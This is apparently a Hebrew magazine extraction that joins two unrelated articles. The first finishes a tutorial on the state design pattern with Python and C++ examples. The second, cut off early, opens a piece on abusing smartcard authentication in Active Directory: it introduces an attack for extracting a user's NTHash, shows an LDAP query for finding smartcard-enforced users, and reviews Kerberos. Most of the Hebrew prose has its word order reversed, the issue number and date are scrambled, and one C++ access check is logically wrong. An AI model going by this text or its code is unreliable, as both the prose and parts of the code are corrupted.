               f"~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~" 
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 השלכות

 סוף נוכל, השונים במצביה להתנהג צריכה article כיצד מממשים אשר article-ל ים-state לנו שיש עתה

 :קלות ביתר בו נמצאת שהיא state לכל בהתאם ייחודית בצורה מתנהגת אשר article מחלקה לממש סוף

class Article: 

    """ An article representation """ 

 

    def __init__(self, name, publisher): 

        self.name = name 

        self.publisher = publisher 

        self.state = Draft() 

        self.text = "" 

 

    def ask_review(self, user): 

        """ Ask for review of the article """ 

        return self.state.ask_review(self, user) 

 

    def render(self, user): 

        """ Render the article """ 

        return self.state.render(self, user) 

 

    def publish(self, user): 

        """ Publish the article """ 

        self.state.publish(self, user) 

 

    def add_text(self, text): 

        """ Add text to the article """ 

        self.state.add_text(self, text) 

 

    def change_state(self, state): 

        """ Change the state of the article """ 

        self.state = state() 

 

 העיצוב לפי article את מממשים היינו אם. state design pattern-ה של הגדול היתרון ביטוי לידי בא כאן

, זאת לעומת. מסויימת התנהגות לבצע ולפיו המאמר של המצב לגבי בדיקות לבצע צריכים היינו, הראשוני

 התנהגות של המימוש את להפוך לנו מאפשרת נפרדת למחלקה state כל של הפונקציונליות מימוש ייצוא

 !אחת קוד שורת לכדי עד לפשוטה article-ה

 מבלי חדשים ים-state להוסיף ואף השונים ים-state-ה של המימוש את לשנות נוכל זה באופן בנוסף

 .article במחלקה דבר לשנות

 :הזה באופן מאמרים ולפרסם ליצור ניתן כעת

def main(): 

    publisher = "Ido & Or" 

    # Create a new article and add text to it 

    new_article = Article("Design Patterns Jokes", publisher) 

    new_article.add_text("Q: Why was the interface sad?\n") 

    new_article.add_text("A: It wasn't fulfilled") 

 

    # Send it for review as the publishers 

    print("-- Asking review --") 

    new_article.ask_review(publisher) 

 

    # Publish the article as the publisher 

    print("-- Publishing as publisher --") 
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    try: 

        new_article.publish(publisher) 

    except AuthorizationError as e: 

        print(f"Failed with exception: {e}") 

 

    # Publish it as admin 

    print("-- Publishing as admin --") 

    new_article.publish("admin") 

 

    # Read it as a guest user 

    print("-- Rendering the article as a guest --") 

    print(new_article.render("Guest")) 

 

    # Publish it again and get an error 

    print("-- Publishing the article once again --") 

    try: 

        new_article.publish("admin") 

    except LogicError as e: 

        print(f"Failed with exception: {e}") 

 

 

if __name__ == "__main__": 

    main() 

 :יהיה שיתקבל והפלט

 

 אך, זהה נותר article במחלקה השימוש, לא או design pattern-ב משתמשים היינו אם שבין לב לשים יש

 לשנות נרצה שלא בהנחה! )עצמה article המחלקה את לשנות מבלי חדשים ים-state להוסיף נוכל כעת

 (article של הממשק את

 state design-ב השימוש את להמחיש מנת על במאמרים לבחור בחרנו שאנחנו שבעוד להבחין גם חשוב

pattern ,יכולים היינו. נמצא הוא בו למצב בהתאם מתנהג אשר אובייקט של מימוש לכל מתאימה התבנית 

 היא בו להילוך בהתאם שונה מתנהגת אשר מכונית לייצג מנת על גם state design pattern-ב להשתמש

 ואנחנו מאחר, לעומק יותר יכולים היינו המכונית של המבנה את וגם המאמר של המבנה את גם. נמצאת

 הילוך להוסיף אפילו יכולים היינו. בו אובייקטים של המבנה ואת state design pattern-ה את מכירים

 .ההילוכים שאר של או המכונית של המימוש את להרוס חשש ומבלי יותר בקלות למכונית
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-ל אם. הזה במקרה state design pattern-ב להשתמש צריכים היינו בהכרח שלא להבין חשוב, בנוסף

article שה או, מצבים 0 רק היו-state של article ה של מימוש, רחוקות לעתים משתנה-state design 

pattern לבעיה ביחס מדי לסובך פיתרון להיות יכול היה. 

 שונה שפה, דומה פיתרון

. שלו האונבירסליות היא ושימושי משמעותי כה הוא design patterns של שהקונספט לכך הסיבות אחת

 לשפה מוגבלות אינן אחרות רבות design patterns גם כמו, הקודם בקטע שהצגנו design pattern-ה

 (.המאמר ממסגרת חורג זה נושא אך) high level לשפות אפילו מוגבלות אינן חלק, מסויימת

 אותו לממש והפעם design-ה את לקחת נוכל. state design pattern-ה באמצעות נדגים עיקרון את גם

 :++c בשפה דומה בצורה

 ביצענו, מכן לאחר. בתוכנית לנו הנחוצות, סטנדרטיות ספריות למספר םי-include עשינו, ראשית

Forward Declaration לצורך הסיבה על כאן על נרחיב לא. בהמשך יגיע שמימושן הרלוונטיות למחלקות 

 :הזדהות לבעיית ייעודי exception הגדרנו, בנוסף. זו בטכניקה

#include <iostream> 

#include <string> 

#include <exception> 

 

// Forward declaration 

class Article; 

class Draft; 

class Moderation; 

class Published; 

 

// Authentication error exception class 

struct AuthenticationError : public std::exception { 

    const char* what() const throw () { 

        return "Authentication Error"; 

    } 

}; 

 

// A representation of the article's state 

class ArticleStateBase { 

public: 

    virtual ~ArticleStateBase() {} 

 

    // Add text to the article according to it's state 

    virtual void AddText(Article& article, std::string text) 

    { 

        throw std::logic_error("Can't add text in the current state"); 

    } 
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    // Render the article according to it's state and the requesting user 

    virtual std::string Render(Article& article, std::string user) 

    { 

        throw std::logic_error("Can't render article in the current state"); 

    } 

 

    // Ask for review on the article according to it's state and the requesting user 

    virtual void AskReview(Article& article, std::string user) 

    { 

        throw std::logic_error("Can't ask review in the current state"); 

    } 

 

    // Publish the article according to it's state and the requesting user 

    virtual void Publish(Article& article, std::string user) 

    { 

        throw std::logic_error("Can't publish article in the current state"); 

    } 

}; 

 

. רצויה פונקציה לכל דיפולטי כמימוש שגיאה לזרוק האבסטרקטית למחלקה הגדרנו, פייתון לקוד בדומה

 states -ה את ונגדיר, הרלוונטי state-ה לפי לפונקציות שתקרא כך Article מחלקת את נגדיר, מכן לאחר

 :השונים

// An article representation 

class Article { 

public: 

    Article(std::string name, std::string publisher); 

 

    // Add text to the article according to it's state 

    void AddText(std::string text) 

    { 

        m_state->AddText(*this, text); 

    } 

 

    // Render the article according to it's state and the requesting user 

    std::string Render(std::string user) 

    { 

        return m_state->Render(*this, user); 

    } 

 

    // Ask for review on the article according to it's state and the requesting user 

    void AskReview(std::string user) 

    { 

        m_state->AskReview(*this, user); 

    } 
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    // Publish the article according to it's state and the requesting user 

    void Publish(std::string user) 

    { 

        m_state->Publish(*this, user); 

    } 

 

    void ChangeState(ArticleStateBase* new_state) { 

        delete m_state; 

        m_state = new_state; 

    } 

 

    std::string m_text; 

    std::string m_name; 

    std::string m_publisher; 

    ArticleStateBase* m_state; 

}; 
 

class Published : public ArticleStateBase { 

public: 

    virtual ~Published() {} 

 

    // Render the article to whomever (NOT whoever) wishes to see it  

    virtual std::string Render(Article& article, std::string user) override 

    { 

        return std::string("PRESENTING: ") + article.m_name + 

            std::string("\nBY: ") + article.m_publisher + 

            std::string("\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n") + 

            article.m_text + 

            std::string("\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"); 

    } 

}; 
 

class Moderation : public ArticleStateBase { 

public: 

    virtual ~Moderation() {} 

 

    // Render the article only if the user requesting it is the publisher or the site admin 

    virtual std::string Render(Article& article, std::string user) override 

    { 

        if (article.m_publisher.compare(user) != 0 || user.compare("admin") != 0) { 

            throw AuthenticationError(); 

        } 

 

        return article.m_text; 

    } 

 

    // Publish the article according to it's state 
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    virtual void Publish(Article& article, std::string user) override 

    { 

        if (user.compare("admin") != 0) { 

            throw AuthenticationError(); 

        } 

 

        article.ChangeState(new Published()); 

    } 

}; 
 

class Draft : public ArticleStateBase { 

public: 

    virtual ~Draft() {} 

 

    // Add text to the article 

    virtual void AddText(Article& article, std::string text) override 

    { 

        article.m_text += text; 

    } 

 

    // Render the article only if the user requesting it is the publisher 

    virtual std::string Render(Article& article, std::string user) override 

    { 

        if (article.m_publisher.compare(user) != 0) { 

            throw AuthenticationError(); 

        } 

 

        return article.m_text; 

    } 

 

    // Ask for review only if the user requesting it is the publisher 

    virtual void AskReview(Article& article, std::string user) override 

    { 

        if (article.m_publisher.compare(user) != 0) { 

            throw AuthenticationError(); 

        } 

 

        article.ChangeState(new Moderation()); 

    } 

}; 
 

Article::Article(std::string name, std::string publisher) : 

    m_text(), m_name(name), m_publisher(publisher), m_state(new Draft()) 

{} 
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 מופרד constructor-ה שמימוש לכך הסיבה. שלנו Article-ה מחלקת של constructor-ה את מימשנו כאן

 כך ולשם, Draft יצירת ידי על m_state את מאתחל constructor שה היא, שלנו Article-ה מחלקת משאר

 .היטב מוגדרת תהיה Draft שמחלקת כל קודם נחוץ

 :שלנו התוכנית של main-ה פונקציית, ולבסוף

int main() 

{ 

    std::string publisher("Ido & Or"); 

    // Create a new article and add text to it 

    Article new_article("Design Patterns Jokes", publisher); 

    new_article.AddText("Q: Why was the interface sad?\n"); 

    new_article.AddText("A: It wasn't fulfilled"); 

 

    // Send it for review as the publishers 

    std::cout << "-- Asking review --" << std::endl; 

    new_article.AskReview(publisher); 

 

    // Publish the article as the publisher 

    std::cout << "-- Publishing as publisher --" << std::endl; 

    try { 

        new_article.Publish(publisher); 

    } 

    catch (AuthenticationError& e) { 

        std::cout << "Failed with exception: " << e.what() << std::endl; 

    } 

 

    // Publish it as admin 

    std::cout << "-- Publishing as admin --" << std::endl; 

    new_article.Publish("admin"); 

 

    // Read it as a guest user 

    std::cout << "-- Rendering the article as a guest --" << std::endl; 

    std::cout << new_article.Render("Guest") << std::endl; 

 

    // Publish it again and get an error 

    std::cout << "-- Publishing the article once again --" << std::endl; 

    try { 

        new_article.Publish("admin"); 

    } 

    catch (std::logic_error& e) { 

        std::cout << "Failed with exception: " << e.what() << std::endl; 

    } 

 

    return 0; 

} 
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 שונה שפה, שונה פיתרון

 על מינוריים שינויים לבצע ונאלצנו, פייתון בשפת למימוש מאוד דומה ++c-ב שהצגנו שהמימוש לב נשים

 .התכנות לשפת state pattern-ה את להתאים מנת

 השפה של רים'בפיצ להשתמש ניתן לעיתים, זאת עם. python-ה תוכנית לפלט זהה הינו התוכנית פלט

 ומשתמשת) ++c-ב הכתובה תוכנית כעת נדגים. שונות דרכים במספר שלנו התוכנית את לכתוב מנת על

 לה ויש, הקלאסי state pattern-ה את מממשת אינה אשר(, הסטנדרטית והספריה c++14 של רים'בפיצ

 :קודם שהצגנו לתוכנית ביחס שונים וחסרונות יתרונות

#include <iostream> 

#include <string> 

#include <exception> 

#include <type_traits> 

 

// Authentication error exception class 

struct AuthenticationError : public std::exception { 

    const char* what() const throw () { 

        return "Authentication Error"; 

    } 

}; 

 

// Definition of different states 

class ArticleStateBase {}; 

class Draft : ArticleStateBase {}; 

class Moderated : ArticleStateBase {}; 

class Published : ArticleStateBase {}; 

 שמיד, type_traits לספריית נוסף include עשינו הפעם. קודם שכתבנו לקוד מאוד דומה הקוד תחילת

-ה את ריקות וכמחלקות,, ArticleStateBase את ריקה כמחלקה הגדרנו, בנוסף. בה הצורך את נראה

states המאמר של השונים (ה עם להתבלבל לא-forward declaration הקודמת בתוכנית שביצענו ,)!כך 

 .הללו הריקות המחלקות להגדרת הסיבה מה נראה מיד. ArticleStateBase-מ יםיורש שהם

 :שלנו Article-ה מחלקת את כעת נגדיר

// An article representation 

template<class ArticleState = Draft> 

class Article 

{ 

    static_assert(std::is_base_of<ArticleStateBase, ArticleState>::value, "ArticleState

 must inherit from ArticleStateBase"); 

public: 

    Article(std::string name, std::string publisher, std::string text = {}) : 

        m_text(text), m_name(name), m_publisher(publisher) 

    {} 
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private: 

    std::string m_text; 

    std::string m_name; 

    std::string m_publisher; 

 default-שה כך, ית-template-כ אותה הגדרנו, שלנו Article-ה מחלקת את הגדרנו כאשר, הפעם

template argument ה מחלקת הוא שלה-Draft - ה למעשה שזהו-state להתחיל צריך המאמר שבו .

, נכשלת הבדיקה ואם, קומפילציה בזמן שנקראת לבדיקה היא הכוונה) static assert הכנסנו, מכן לאחר

 למעשה template argument-כ שקיבלנו state-שה היא מבצעים שאנחנו הבדיקה(. מתקמפל לא הקוד

 הפרטיים והשדות המחלקה של constructor-ה את הגדרנו, מכן לאחר. ArticleStateBase ממחלקת יורש

 .המחלקה של

 כמעט הפונקציות. נמצאים אנחנו בו state-ב התלויות השונות הפונקציות - המעניין לחלק מגיעים אנו כעת

 :הפונקציות לאחת מימוש דוגמת וניתן, כולן על נתעכב לא לכן, הקודמת מהתוכנית לפונקציות זהות

    // Add text to the article 

    template<class T = ArticleState> 

    typename std::enable_if_t<std::is_same<T, Draft>::value, void> AddText(std::string 

text) 

    { 

        m_text += text; 

    } 

 הינו הפונקציה שתוכן לראות וניתן, AddText הינה כאן מגדירים שאנחנו הפונקציה? כאן קורה בעצם מה

 .הקודמת מהתוכנית AddText-ל ודומה, פשוט מאוד

 את יקבל - T - שלה template argument-שה והגדרנו, ית-template היא גם AddText המתודה, הפעם

 בין קשר שיהיה צריכים שאנחנו היא לכך הסיבה(. עצמה Article-ה מחלקת של) ArticleState של הערך

std::enable_if_t[1]-ב בשימוש שיתבטא, אליו מודע יהיה שהקומפיילר ArticleState-ה לבין הפונקציה
 

     template<class T = ArticleState> 

 ?הבא הקוד קטע מבצע בעצם מה

     typename std::enable_if_t<std::is_same<T, Draft>::value, void> 

std::enable_if_t שני לוקח template arguments :בזמן ידוע להיות שצריך בוליאני ערך - הראשון 

 תיכנס AddText הפונקציה, true הינו הבוליאני הערך אם. כלשהו type - השני(. false או true) קומפילציה

, שני כאגרומנט שנתנו type-ה את לוקח true ,enable_if_t וקיבלנו במידה. לא אחרת, ותקומפל למחלקה

 . ישירות type-ה את כותבים היינו כאילו בקוד אותו ומשים
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-ה אם - Draft המחלקה לבין, ArticleState כלומר, T בין השוואה היא מבצעים שאנחנו הבדיקה

ArticleState הוא Draft ,הפונקציה AddText כך ותיראה, קיימת תהיה: 

    // Add text to the article 

    template<class T = ArticleState> 

    void AddText(std::string text) 

    { 

        m_text += text; 

    } 

 

 Draft יהיה T-ש שדרשנו לאחר, כעת בפונקציה T-ל אמיתי שימוש אין אך, תיtemplate- אומנם הפונקציה

 :המחלקה של הפונקציות שאר מוגדרות, דומה באופן

    // Ask for review only if the user requesting it is the publisher 

    template<class T = ArticleState> 

    typename std::enable_if_t<std::is_same<T, Draft>::value, Article<Moderated>> AskRev

iew(std::string user) 

    { 

        if (m_publisher.compare(user) != 0) { 

            throw AuthenticationError(); 

        } 

 

        return Article<Moderated>(m_name, m_publisher, m_text); 

    } 

 

    // Publish the article according to it's state 

    template<class T = ArticleState> 

    typename std::enable_if_t<std::is_same<T, Moderated>::value, Article<Published>> Pu

blish(std::string user) 

    { 

        if (user.compare("admin") != 0) { 

            throw AuthenticationError(); 

        } 

 

        return Article<Published>(m_name, m_publisher, m_text); 

    } 

, ++c-ב ממתודות אובייקטים החזרת עם להיזהר צריך, כללי באופן. שלנו המעבר מתודות הן אלה

 .בעיה בכך אין לכן, copy elision[2] יבצע שהקומפיילר לנו שמובטח כזאת בצורה נעשה כאן השימוש

 :Render-ה מתודות את לממש הוא לנו שנותר מה

    // Render the article only if the user requesting it is the publisher 

    template<class T = ArticleState> 

    typename std::enable_if_t<std::is_same<T, Draft>::value, std::string> Render(std::s

tring user) 

    { 

        if (m_publisher.compare(user) != 0) 
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        { 

            throw AuthenticationError(); 

        } 

 

        return m_text; 

    } 

 

    // Render the article only if the user requesting it is the publisher or the site a

dmin 

    template<class T = ArticleState> 

    typename std::enable_if_t<std::is_same<T, Moderated>::value, std::string> Render(st

d::string user) 

    { 

        if (m_publisher.compare(user) != 0 || user.compare("admin") != 0) 

        { 

            throw AuthenticationError(); 

        } 

 

        return m_text; 

    } 

 

    // Render the article to whomever (NOT whoever) wishes to see it  

    template<class T = ArticleState> 

    typename std::enable_if_t<std::is_same<T, Published>::value, std::string> Render() 

    { 

        return std::string("PRESENTING: ") + m_name + 

            std::string("\nBY: ") + m_publisher + 

            std::string("\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n") + 

            m_text + 

            std::string("\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~"); 

    } 

 ?שלנו במחלקה שימוש יראה כעת איך, ובכן

 int main() 

{ 

    std::string publisher("Ido & Or"); 

    // Create a new article and add text to it 

    Article<> draft("Design Patterns Jokes", publisher); 

    draft.AddText("Q: Why was the interface sad?\n"); 

    draft.AddText("A: It wasn't fulfilled"); 

 

    // Send it for review as the publishers 

    std::cout << "-- Asking review --" << std::endl; 

    Article<Moderated> moderated = draft.AskReview(publisher); 

 

    // Publish the article as the publisher 

    std::cout << "-- Publishing as publisher --" << std::endl; 
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    try { 

        moderated.Publish(publisher); 

    } 

    catch (AuthenticationError& e) { 

        std::cout << "Failed with exception: " << e.what() << std::endl; 

    } 

 

    // Publish it as admin 

    std::cout << "-- Publishing as admin --" << std::endl; 

    Article<Published> published = moderated.Publish("admin"); 

 

    // Read it as any user 

    std::cout << "-- Rendering the article as a guest --" << std::endl; 

    std::cout << published.Render() << std::endl; 

 

    return 0; 

} 

 ?הזו המימוש דרך של והחסרונות היתרונות הם מה אך. זהה הינו התוכנית פלט, הפעם שגם כמובן

 :יתרונות

 ה של הנוכחי המצביע לפי לפונקציה ובקריאה, וירטואליות בפונקציות צורך אין-state .הוא היתרון 

 .ריצה בזמן ביצועים

 ב קיימות שלא לפונקציות לקרוא, קומפילציה בזמן, ניתן לא-state ריצה בזמן במקום, המתאים .

 :להריץ ננסה אם קומפילציה שגיאת נקבל, לדוגמה

Article<> draft("Design Patterns Jokes", "Ido & Or"); 

draft.Publish("admin"); 

 

 ל בהתאם המתודות חתימות על יותר מלאה שליטה-state .במצב המאמר כאשר, לדוגמה 

Published ,מקרה בכל שלו בדיקה אין שכן, המשתמש את כפרמטר להעביר צורך אין. 

 :חסרונות

 קריא פחות קוד 

 משתני מספר של יצירה Article לפונקציה הקריאה לאחר גם, לדוגמה - שונים draft.AskReview ,עדיין 

(. נוספת פעם עליו AskReview לפונקציה לקרוא ניתן, לדוגמה) שמיש עדיין והוא, draft המשתנה קיים

, is_valid בוליאני בשדה שימוש ידי על לדוגמה, zombie state למעין הכנסתו ידי על זאת לפתור ניתן

 בזמן ביצועים של ביתרון פוגע זה שפתרון כמובן. בהתאם שגיאה וזריקת, פונקציה כל לפני בדיקתו

 .ריצה

 יצירת Article שאינו Draft עם שהצגנו הטכניקה של שילוב ידי על זו בעיה לפתור ניתן. ישירות 

enable_if ,עם יחד constructor ב ושימוש פרטיים-friend functions[3] .זה פתרון על נרחיב לא ,

 .זה פתרון בעצמו לממש לנסות מוזמן המעוניין והקורא
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 את כשהגדרנו. מצב מכל המחלקה של מתודה לכל, רוצים ממש אם, לקרוא ניתן עדיין T במתודות 

 ולדוגמה, T את לשנות למעשה ניתן, אבל. ArticleState את דיפולטי באופן לקבל לו אמרנו, השונות

 :Moderated במצב האוביקט כאשר AddText למתודה לקרוא

Article<> draft("Design Patterns Jokes", "Ido & Or"); 

Article<Moderated> moderated = draft.AskReview("Ido & Or"); 

moderated.AddText<Draft>("Blah blah"); 
 

 .moderated באובייקט גם תימצא הזו הטקסט תוספת, וכעת

 

 

 סיכום

Design Patterns מהיר באופן תוכנה לפתח לנו מאפשר הוא. התוכנה פיתוח בעולם חשוב קונספט הוא 

 על לחשוב לנו מאפשר הוא, כך על נוסף. בעבר עצמם את שהוכיחו בפתרונות שימוש ידי על יותר ויעיל

 צורך ללא עובדת שתוכנה איך על מעמיקה יותר הבנה לנו המאפשר דבר, מאורגן יותר באופן תוכנה

 .ממומשת היא כיצד לדעת

 ניתן וכיצד design patterns מהן הסברנו. design patterns של ההיסטוריה את הצגנו זה במאמר

 הקיימות המגבלות את הסברנו כן כמו. תוכנה ומבינים מפתחים שאנו איך את לשפר כדי בהן להשתמש

 . design patterns-ב לשימוש

 איזו תארנו. state design pattern-ה של הדגמה י"ע design pattern-ב מעשי שימוש הדגמנו מכן לאחר

 תיאורטי באופן אותה לממש ניתן וכיצד זאת עושה היא כיצד, לפתור נועדה זו design pattern בעיה

 אלא, אחת לשפה ייחודית אינה היא כי וראינו זו design pattern של מימוש הצגנו מכן לאחר(. מבנה)

 .שפות בכמה לשימוש ניתנת

 לדבוק לכם ממליצים אנו, בעתיד או בהווה, עליו יעבדו נוספים שאנשים להניח שסביר קוד תכתבו כאשר

 תכנות שפת כל בכמעט למימוש מתאים, אוניברסלי יותר הוא - הקלאסי state pattern-ה במימוש

, גבוהים ביצועים בעל קוד לכתוב נדרשים אתם אם, שני מצד'. וכו לאחרים וקריא ברור יותר, מודרנית

 בדוגמה כמו שלכם המחלקה את לממש לכם נמליץ, שלכם במחלקה נכון שימוש שיבצעו להבטיח ותוכלו

 .האחרונה

 נועדו אשר רבות נוספות design pattern קיימות. design patterns של לקונספט הקדמה מהווה זה מאמר

 ואף, נוספות design patterns על ולקרוא להמשיך אתכם מעודדים אנו. בעיות של שונים סוגים לפתור

, זאת לדעת מבלי( לא או) מוכר design pattern-ב משתמשים שאתם להניח סביר. משלכן חדשות ליצור

 design י"ע להפתר יכולה אשר( בה תיתקלו או) בה שנתקלתם בעיה שישנה מאוד סביר לא אם וגם

pattern עם שהיכרות ספק אין, כך או כך. אחרת או זו design pattern-רבה תועלת לכם להפיק יכולה ים. 
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 נוספת קריאה

Design Patterns by Gang of four - ה נושא את שפיתחו מי י"ע שנכתב הספר-design patterns הם בו 

 . קלאסיים design patterns מספר על וכן design pattrs של הקונספט על לעומק מסבירים

Refactoring guru - על המסביר מצויין אתר design patterns ,פיתוח עקרונות SOLID  ועוד... 

The Abuse of Design Patterns in writing a Hello World Program - להשתמש ניתן כיצד שמדגים פוסט 

 !שונים ים-design pattern 6-ב שימוש ידי על מופרז באופן design patterns-ב
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 Design Patterns: Elements of Reusable Object-Oriented Software by  Erich Gamma, 

Richard Helm, Ralph Johnson, and John Vlissides 
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Leave the Door Open - Abusing Smartcard 

Authentication 

 נחשון ערן מאת

 

 הקדמה

 נחקר אשר בתחום ומדובר, שלהם הסביבה לניהול Active directory-ב משתמשים כיום הארגונים רוב

 מדהים משחקים מגרש לשמש יכולה AD סביבת, היום נמצאים אנו בה בנקודה. האבטחתי בהיבט רבות

, האדום לצד וגם הכחול לצד גם מאליהם מובנים הזמן עם נהיו אשר Fuck-Ups-ה כל למרות. לתוקפים

 הצפנות של קונספטים הזה הכיף לכל כשמצרפים. במהרה כך כל שלנו מהעולם יעבור לא AD-ש מסתמן

  ראשון ממבט שנדמה ממה יותר ושימושי, כיף יותר אפילו זה, דיגיטליות וחתימות

 למשתמש NTHash להוציא היא שמטרתה Anderson PAC לכינוי( ידי על) זכתה אשר תקיפה נבצע היום

 Deep Diving נבצע, Active Directory בסביבת טכנולוגיות במגוון ניגע לשם בדרך. LSASS-ב לגעת מבלי

 .אליו לב לשים ששווה עולה תחום - Domain-ב Certificates-ה ולעולם התאמתות לפרוטוקולי

 וגם, הבסיסיות המתקפות ואת הפרוטוקולים את מכירים, AD בסביבות שהתעסקו לאנשים מיועד המאמר

 ניכנס אלא, לעומק NTLM-ו Kerberos הפרוטוקולים את נסביר לא זה במאמר. בהצפנות בסיסיים קונספטים

 .הקורה לעובי יותר קצת

 ? קיים זה מדוע? Smartcard למה - המתבקשות מהשאלות נתחיל

 של וקל אבטחתי אימות :מסוימת לבעיה יותר טוב פתרון למצוא ניסו בהם רבים ממקרים באחד מדובר

 שאותו, סיסמא תהיה משתמש לכל, מכירים שאנחנו שגרתית AD בסביבת. דומיינית בסביבה משתמשים

 בעיות כמה יש( בה שמשתמשים אנוש ולבני) לסיסמא. בדומיין עמדה בכל להתחברות משמשת היא

 : קלאסיות

 אותה לשכוח קל. 

 Hash לשבירה שניתן (NetNTLMv1 לדוגמא.) 

 המשתמשים ידי על ותחלופה תחזוקה דורש. 

 תוקף בתור קלות סיסמאות לנחש קל. 

 הסיסמא לשינוי עד קצר תוקף וקביעת מיטבית סיסמאות פוליסת עם האלה הבעיות את לשפר שניתן כמובן

 מגוון קיימות כך לשם. גדול בארגון לתפעול ומסורבל מיושן די בפתרון מדובר זאת בכל אך, הבא
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 מבחינת. ביומטרית התאמתות או/ו Smartcards בעזרת התאמתות היא שביניהן המרכזיות, אלטרנטיבות

 שקל דברים הם אלו שני) אצבע טביעת לשים או קצרצר pincode להקיש צריך הכל סך הוא, המשתמש

 הונפק אשר, Private key-ו Certificate בעזרת התאמתות הוא הקלעים מאחורי קורה שבפועל ומה( לזכור

 כזו התאמתות. המשתמש עבור Proof of identity-ה את מהווה והוא, סומך DC-ה עליו CA שרת ידי על

 .Public Key for Initial Authentication in Kerberos המלא בשמה או, PKINIT Kerberos נקראית

 למגוון Digital Certificates להנפקת סמכא-כבר משמש אשר שרת, CA - Certificate Authority שרת

 אותנטיות הוכחת מספקים מנפק שהוא Certificates-וה, השרת על סומכות ברשת הישויות. שימושים

 AD בסביבת או, HTTPS Certificates הנפקת בעיקר הם לכך הנפוצים השימושים. ברשת אמון מודל ויצירת

 .משתמשים אימות -

 ולבין המקורית ההתאמתות שיטת בין ההבדלים ולגבי,  PKINIT Kerberosלגבי לעומק יותר בהמשך נפרט

 .PKINIT של Extension-ה

 ? הזו בצורה יתאמתו משתמשים אילו קובעים כיצד

 של scope-ב מוחל זה הסתם מן. משתמש פר הגדרה זו, Domain על רוחבית לא היא smartcard של אכיפה

  :dsa.msc-ה בממשק GUI-ב נראה זה כך(. מהמקרים בחלק OU או) לרוב דומיין

 

 :LDAP בשאילתת או

# Check if user is SmartCard enforced. if the query returns 

output, 

# it is enforced. (Can append! before userAccountControl). 

$results 

=([adsisearcher"(&(objectCategory=user)(userAccountControl:1.2.84

0.113556.1.4.803:=262144))").FindAll() 
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 Kerberosתזכורת על 

 ואת הפרוטוקול את מכיר שפחות למי. הזכרון רענון לטובת Kerberos על קצרצר brief נעשה זאת בכל

 .לדלג יכול - בקיא ממש שמרגיש ומי .הבא מהקישור לקרוא אמליץ, בעזרתו לדומיין ההתאמתות תהליך

 

 .KDC-וה, היעד שרת, הלקוח? שלנו השחקנים מי

 

Key Distribution Center ה על שפועל השירות הוא-DC ה בבקשות ומטפל-Kerberos ה. שמגיעות-KDC 

 .למשאב והגישה ההזדהות בתהליך שונים בחלקים לטפל שאחראיים שירותים תתי שני מכיל

 AS - Authentication Server ,מנת על האימות. התהליך של הראשון החלק על אחראי, הוא כן כשמו 

 (.סיסמא) shared secret ידי על לרוב יושג זה. במתחזה או, במשתמש מדובר אם להבין

 TGS - Ticket Granting Service ,חלוקת על שאחראי השירות תת tickets כלומר. ספציפיים לשירותים ,

 .הרצוי service-ל גישה לו שמעניק ticket מבקש הוא, מאומת שהמשתמש אחרי

 :אותו ונפרט, Request-Response של חלקים לשלושה מחולק עצמו התהליך

 

 KRB_AS_REQ - תימצא הזהות הוכחת. אותו יאמת שהוא במטרה לשרת שולח שהלקוח הבקשה זו 

 הוכחת לספק היא מטרתו. המשתמש בסיסמת מוצפן Timestamp בדמות, pre-authentication בשדה

 . האחרונות דקות 5-ב להיות צריך Timestamp-ה ערך שכן, replay התקפות למנוע וגם, זהות

 KRB_AS_REP - ה, הבקשה לאחר-DC ב המשתמש של הרשומה את ויחפש ילך-ntds.dit ,לפענח וינסה 

 זה אם. למשתמש השייכת הסיסמא של hash-ה עם( Timestamp-ה כלומר) authenticator-ה את

 PAC-ה ואת, הנוכחית לשיחה session key נרט'מג הוא. התשובה את להכין על עובד השרת, מצליח

 שבו TGT-ה - דברים שני מחזיר DC-ה (.בהמשך יורחב, המשתמש על נוספים פרטים שמכיל מבנה)

https://www.roguelynn.com/words/explain-like-im-5-kerberos/


 
 

Leave the Door Open - Abusing Smartcard Authentication 
www.DigitalWhisper.co.il 

 389  4243 נובמבר ,357גליון 
 

 TGS-ה הוא השני והחלק( krbtgt של הסיסמא של hash-ב מוצפן) PAC-וה session key-ה יאוחסן

session key ,המשתמש של בסיסמא מוצפן. 

 KRB_TGS_REQ - ה את את הקודם מהשלב נקבל-TGS session key ה עם יחד יישמר והוא-TGT ,והם 

. domainב מסוים שירות ונבקש TGS-ל נפנה, TGT-ב מצוידים כשאנחנו. שירותים לבקשת אותנו ישמשו

 ונצרף, TGT-ה בצירוף SPN-ה את נבקשSPN (Service Principal Name .) עם מסומן הזה השירות

authenticator ב שמוצפן-TGS session key ,ה את לנו שיש להוכיח כדי-session key. 

 KRB_TGS_REP - ה-DC ה את מפענח-TGT בעזרת krbtgt ,ה את משם ומוציא-session key ה ואת-

PAC .ה בעזרת-session key ה את מאמת הוא-authenticator .מי שבאמת סימן, כשורה הכל אם 

 מנת על SPN-ה את מחפש DC-ה הזה בשלב. session key-וה TGT-ה את מחזיק DC-ה עם שמדבר

-ה את יעביר DC-ה איתו ביחד. לגשת נרצה שאליו השרת של בסיסמא מוצפן service ticket לו ליצור

server session key ב מוצפן-TGS session key .וה הלקוח של השיח נגמר כאן-DC . 

 (. שלנו לעמדה SPN host) שלנו העמדה הוא שנבקש" שירות"ה כי, שונה מעט המקרה, רגילה בהתחברות

 כאמור זה וכל, שניגש המשתמש של PAC-ה עם ביחד service ticket-ל נכנס service session key-ה

 computer-ב יוצפן זה, host כלומר, התחברות של במקרה) ניגשים אליו השרת של בסיסמא מוצפן

account password שלו.) 

 

 KRB_AP_REQ - ה את מפענח שהלקוח לאחר-server session key ה עם ביחד אותו ושומר-service 

ticket ,ל לגשת יכול הוא-Server .ל דומה מאוד הזה השלב-TGS_REQ .ה את יקבל השרת-service 

ticket ,וגם authenticator ב מוצפן-server session key .ה את יפענח הוא-service ticket שאמור 

. authenticator-ה את יאמת הוא איתו. server session key שם ויימצא(, DC-ול) לו ורק אך קריא להיות

 ועל Ticket-מה PAC-ה את ייקח הוא. DC-ב עבר ושהלקוח לגיטימית שהגישה יודע הוא אז, הצליח אם

 .ההרשאות פי על גישה תינתן אם יחליט פיו

